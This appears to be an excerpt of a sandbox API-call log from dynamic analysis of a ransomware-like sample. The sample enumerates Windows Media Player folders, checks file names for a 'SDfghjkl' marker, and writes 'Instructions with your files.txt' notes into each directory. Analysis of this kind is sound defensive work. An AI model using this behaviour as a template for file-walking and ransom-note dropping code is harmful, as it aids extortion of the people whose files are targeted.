[0130.559] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\.") returned 102
[0130.559] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.559] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\..") returned 103
[0130.559] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1
[0130.559] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 135
[0130.559] StrStrIW (lpFirst="01_Music_auto_rated_at_5_stars.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.559] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1
[0130.559] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 137
[0130.559] StrStrIW (lpFirst="02_Music_added_in_the_last_month.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.559] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1
[0130.560] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 135
[0130.560] StrStrIW (lpFirst="03_Music_rated_at_4_or_5_stars.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.560] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1
[0130.560] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 138
[0130.560] StrStrIW (lpFirst="04_Music_played_in_the_last_month.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.560] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1
[0130.560] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 140
[0130.560] StrStrIW (lpFirst="05_Pictures_taken_in_the_last_month.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.560] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1
[0130.560] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 135
[0130.560] StrStrIW (lpFirst="06_Pictures_rated_4_or_5_stars.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.560] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1
[0130.560] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 136
[0130.560] StrStrIW (lpFirst="07_TV_recorded_in_the_last_week.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.560] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1
[0130.560] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 135
[0130.560] StrStrIW (lpFirst="08_Video_rated_at_4_or_5_stars.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.560] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1
[0130.560] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 129
[0130.560] StrStrIW (lpFirst="09_Music_played_the_most.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.560] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x0, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1
[0130.560] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 117
[0130.560] StrStrIW (lpFirst="10_All_Music.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.560] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1
[0130.560] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 120
[0130.560] StrStrIW (lpFirst="11_All_Pictures.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.560] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1
[0130.560] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 117
[0130.560] StrStrIW (lpFirst="12_All_Video.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.560] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 0
[0130.560] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\Instructions with your files.txt") returned 133
[0130.560] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.561] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.562] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.562] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.562] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.562] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.562] CloseHandle (hObject=0x124) returned 1
[0130.562] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.562] GetProcessHeap () returned 0x810000
[0130.562] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.562] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 0
[0130.562] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\Instructions with your files.txt") returned 124
[0130.562] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.563] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.563] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.564] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.564] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.564] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.564] CloseHandle (hObject=0x120) returned 1
[0130.564] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.564] GetProcessHeap () returned 0x810000
[0130.564] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.564] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
[0130.564] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\Instructions with your files.txt") returned 118
[0130.564] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.566] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.567] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.567] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.567] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.568] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.568] CloseHandle (hObject=0x11c) returned 1
[0130.568] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.568] GetProcessHeap () returned 0x810000
[0130.568] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.569] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 1
[0130.569] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache") returned 93
[0130.569] GetProcessHeap () returned 0x810000
[0130.569] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.570] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\*") returned 95
[0130.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.571] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\.") returned 95
[0130.571] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.571] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\..") returned 96
[0130.571] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.571] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\Instructions with your files.txt") returned 126
[0130.571] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\transcoded files cache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.571] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.572] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
